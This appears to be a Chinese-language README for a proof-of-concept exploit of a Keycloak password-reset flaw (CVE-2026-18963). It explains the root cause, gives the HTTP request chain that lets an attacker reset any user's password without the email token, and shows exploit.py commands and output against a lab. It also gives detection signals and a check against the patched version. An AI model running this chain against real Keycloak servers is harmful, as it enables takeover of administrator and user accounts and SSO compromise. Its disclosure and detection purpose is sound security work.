未认证账户接管存在于 Keycloak 的重置凭据(reset-credentials)流程中。 仅知道用户名/邮箱的攻击者即可重置任意用户的密码 —— 包括管理员 —— 而完全无需收到验证邮件。
本概念验证发布严格用于教育目的、防御性研究、检测工程以及经授权的安全测试。
完整声明请参阅 DISCLAIMER.md。
| CVE | CVE-2026-18963 |
| 严重性 | 严重 —— CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| 弱点 | CWE-640 —— 弱密码恢复机制 |
| 受影响版本 | Keycloak < 26.7.2(上游)。RH 构建流亦受影响,已通过 26.6.6 / 26.4.15 程序包修复 |
| 修复版本 | Keycloak 26.7.2(PR #51844) |
| 前提条件 | Forgot password(重置凭据)已在 realm 中启用 —— 默认开启 |
| 影响 | 任意用户(包括 realm 管理员)的完全账户接管 → IdP 失陷 + SSO 横向访问 |
密码重置(reset-credentials)流程通常强制您在设置新密码前点击发送至账户所有者的邮件链接。两个缺陷使攻击者可以完全跳过这一检查:
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" 存储为未限定到执行 ID 作用域。重新进入流程会使认证会话处于混乱/过期状态。ResetCredentialEmail.action() 调用 context.success() 时未校验 ACTION_TOKEN_USER_ID(即未确认邮件中的操作令牌确实已被消费)。将两者链式利用可使认证会话直接推进到任意用户的 UPDATE_PASSWORD 步骤,无需任何邮件。
GET /auth (client_id=account) ── login page (has "Forgot password?")
GET /login-actions/reset-credentials … ── choose-user form
POST …reset-credentials tryAnotherWay=on ── bug #1: enter "Try Another Way" selector
POST …reset-credentials username=<victim> ── select user via selector
GET …/restart … ── refresh session state
GET /login-actions/reset-credentials … ── re-enter → STALE selector (corrupted state)
POST …reset-credentials username=<victim> ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
password-new=…&password-confirm=… ── 302 → password changed → TAKEOVER
带注释的补丁差异请参阅 docs/ROOTCAUSE.md。
您需要 Docker 以及安装了 requests 的 Python 3。
# 1) Spin up a vulnerable Keycloak + demo realm/user (any version < 26.7.2)
./run_lab.sh # uses keycloak/keycloak:26.5.0
# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
预期输出末尾:
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
然后以 victim / Pwned-2026! 登录以确认接管成功。
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
--base Keycloak base URL, e.g. http://127.0.0.1:8080
--realm target realm (default: master)
--client public client without PKCE (default: account)
--victim victim username or email
--new-pass password to set
--proxy route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
-k skip TLS verification
每个 HTTP 响应都会写入 ./dump/ 目录以供检查。
Keycloak 已使用 8080 端口,因此请将 Burp 的监听器指向另一端口(例如 8081):
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!' \
--proxy http://127.0.0.1:8081
适用于 Burp Repeater 的原始请求链见 requests/burp-chain.txt。
查找在同一认证会话中未经过邮件验证的密码更改:
UPDATE_PASSWORD 事件,但没有相应的 VERIFY_EMAIL / EXECUTE_ACTION_TOKEN 前置事件。tryAnotherWay=on 的 reset-credentials 请求突发出现。tab_id 多次重新进入 login-actions/reset-credentials。完整运行过程已录制在 CVE-2026-18963.mp4(位于仓库根目录)。
攻击链已对照公开的 Keycloak 补丁(PR #51844)及社区文章进行交叉验证。
MIT © red-darkin —— 仅供教育和授权测试使用。